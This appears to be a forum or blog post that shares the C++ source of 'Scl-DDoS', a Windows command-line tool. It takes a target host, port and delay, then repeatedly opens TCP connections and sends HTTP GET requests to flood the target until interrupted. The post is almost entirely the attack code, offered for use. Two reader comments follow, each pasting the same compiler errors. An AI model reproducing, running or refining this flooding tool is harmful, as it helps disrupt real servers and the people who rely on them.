[C++][Source] Scl-DDoS (Simple CLI DDoSer) [Well-Commented code!][Windows]
#######################http://pastebin.com/zHd0YqRL#####################
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <signal.h>
#define MAXRETRIES 3//Set max retries
#define BUFFSIZE 256//Set buffer size
//http header
const char * szHeader =
"GET / HTTP/1.1\r\n"
"Accept: text/html\r\n"
"Accept-Language: *\r\n"
"User-Agent: Mozilla/5.0\r\n"
"Accept-Encoding:\r\n"
"Connection: Keep-Alive\r\n"
"Host: "; //Hostname/ip is appended later
void terminate(int nParam) //Terminate function
{
printf("Cleaning up...\n");
WSACleanup(); //Cleanup
printf("Finished!\n");
exit(0); //Exit the program
}
void usage() //Displays usage
{
printf("Usage: [IP/HOSTNAME] [PORT] [MAX-TIMEOUT]\n"
"Arg 1 must be a valid IPv4-address or hostname! (ex. 192.168.0.100 / www.google.com)\n"
"PORT must be a valid positive integer! (ex. 80)\n"
"MAX-TIMEOUT(timeout defined in msec) must be a valid positive integer!\n");
return;
}
int main(int argc,char *argv[]) //Main function
{
//**
// Check arguments *
//**
if (argc != 4) //Check to see if there are 3 arguments...
{
usage(); //If not, then display usage,
exit(1);//then exit...
}
//Check if both argument 2 and 3 is valid positive integers
if (!(atoi(argv[2])>0)||!(atoi(argv[3])>0))
{
usage();//If not, then display usage,
exit(1);//then exit...
}
//**
//**
// Initialize *
//**
void (*termsign)(int); //Termination signal handle
termsign = signal (SIGINT,terminate); //Set-up signal from SIGNINT(Interrupt) to terminate
if (termsign == SIG_ERR) //If signal set-up failed, then quit...
{
printf("Cannot set-up signals!\nQuitting...\n");
exit(1);//Exit...
}
WSADATA wsaData; //Instance of wsaData
int nRes = WSAStartup(MAKEWORD(2,2), &wsaData); //Check version and start winsock2
if (nRes != NO_ERROR) //Check if winsock had any errors...
{
printf("WSAStartup failed!\n");
exit(1); //Exit
}
//**
//**
// Get/set host IP *
//**
sockaddr_in cAddress; //Create instance sockaddr_in to define target host address
printf("Challenging as IP...\n");
cAddress.sin_addr.s_addr = inet_addr(argv[1]); //Set ip, if arg 1 is IP
if (cAddress.sin_addr.s_addr!=-1) //If IP != -1
printf("Using IP %s\n",inet_ntoa(cAddress.sin_addr)); //Use IP
else
{
printf("Challenging as hostname...\n");
hostent* addr = gethostbyname(argv[1]); //Resolve hostname of url
if (addr!=NULL) //If hostname is resolvable
cAddress.sin_addr = (*(in_addr *)*addr->h_addr_list); //Then get the first IP of url
else
{
printf("Couldn't resolve hostname!\n");
exit(0); //Exit...
}
}
printf("Using IP from hostname: %s\n",inet_ntoa(cAddress.sin_addr));
cAddress.sin_family = AF_INET; //Set address type
cAddress.sin_port = htons(atoi(argv[2])); //Set address
//**
//**
// Create HTTP Packet *
//**
int nBytesOut = NULL; //Holds number of bytes sent
int nBytesIn = NULL; //Holds number of bytes recieved
char szBufferOut[BUFFSIZE]; //Out buffer
char szBufferIn[BUFFSIZE]; //In buffer
for(int i=0;i<BUFFSIZE;szBufferOut[i++]='\0'); //Zero memory for szBufferOut
for(int i=0;i<BUFFSIZE;szBufferIn[i++]='\0'); //Zero memory for szBufferIn
for(int i=0;szHeader[i]!='\0';szBufferOut[i]=szHeader[i],i++); //Copy header to outBuffer
nBytesOut = (int)strlen(szBufferOut); //Get length of out-buffer so far
for(int i=0;argv[1][i]!='\0';szBufferOut[nBytesOut+i]=argv[1][i],i++); //Add host address to header
char szEndToken[4] = {'\r','\n','\r','\n'}; //End-token (CR,LF,CR,LF)
nBytesOut = (int)strlen(szBufferOut); //Get length of out-buffer so far, again
for(int i=0;i<(int)strlen(szEndToken);szBufferOut[nBytesOut+i]=szEndToken[i],i++); //Add CR LF CR LF
printf("Out packet:\n\n%s\n\n",szBufferOut);
//**
//**
// Main loop *
//**
while(1) //Loop until interrupted
{
SOCKET cSocket; //Declare instance of SOCKET
cSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Set-up socket
if (cSocket == INVALID_SOCKET) //Check if socket was created successfully
{
printf("Socket creation failed! Error#:%d\n", WSAGetLastError());
terminate(0); //Clean up, and quit...
}
//Try to connect to server...
if (connect(cSocket,(SOCKADDR*)&cAddress,sizeof(cAddress)) == SOCKET_ERROR)
{
printf("Connection failed!\n");
Sleep(atoi(argv[3]));
continue; //Try again...
}
(void)send(cSocket, szBufferOut, strlen(szBufferOut), 0); //Send packet
nBytesIn = NULL;
while(nBytesIn == 0) //Wait for response
{
nBytesIn = recv(cSocket, szBufferIn, BUFFSIZE-1, 0); //Get reply, if any...
//If response is empty, or connection times out, then try again...
if (nBytesIn <= 0 || nBytesIn == WSAECONNRESET)
{
printf("Host unavailable!\n");
Sleep(atoi(argv[3]));
nBytesIn = -1; //Will trigger loop restart *
break;
}
if (nBytesIn <= 0) //Check if pack has a size > than 0
{
nBytesIn = -1; //Will trigger loop restart *
break;
}
//See if reply is valid
char szValidReply[12] = {'H','T','T','P','/','1','.','1',' ','2','0','0'};
int ok = 0;
for(int i=0;i<12;i++) //Compare chars...
if (szValidReply[i]!=szBufferIn[i])
{
ok = 1; //This is triggered if char's are different!
break;
}
if (ok!=0) //Check to see if they compared alright...
{
printf("Invalid reply!\nReply:\n--\n\n%s\n",szBufferIn);
terminate(0);
}
}
if (nBytesIn == -1) //If nBytesIn is set to -1,
continue; //then retry connection... *
printf("Reply[0-256]: \n\n%s\n\n\n",szBufferIn);
for(int i=0;i<BUFFSIZE;szBufferIn[i++]='\0'); //Zero memory for szBufferIn
closesocket(cSocket); //Close socket
Sleep(atoi(argv[3]));
}
//**
terminate(0);
}
not working buddy
ReplyDeleteCompiling...
Deleteddos.cpp
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(116) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(118) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(121) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(126) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(204) : error C2440: 'return' : cannot convert from 'void' to 'int'
Expressions of type void cannot be converted to other types
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(205) : warning C4508: 'main' : function should return a value; 'void' return type assumed
Error executing cl.exe.
Whar Error???? VC 6.0 ~~ Error..
ReplyDeleteCompiling...
ddos.cpp
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(116) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(118) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(121) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(126) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(115) : see declaration of 'i'
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(204) : error C2440: 'return' : cannot convert from 'void' to 'int'
Expressions of type void cannot be converted to other types
C:\Documents and Settings\Administrator\바탕 화면\day1\ddos\ddos.cpp(205) : warning C4508: 'main' : function should return a value; 'void' return type assumed
Error executing cl.exe.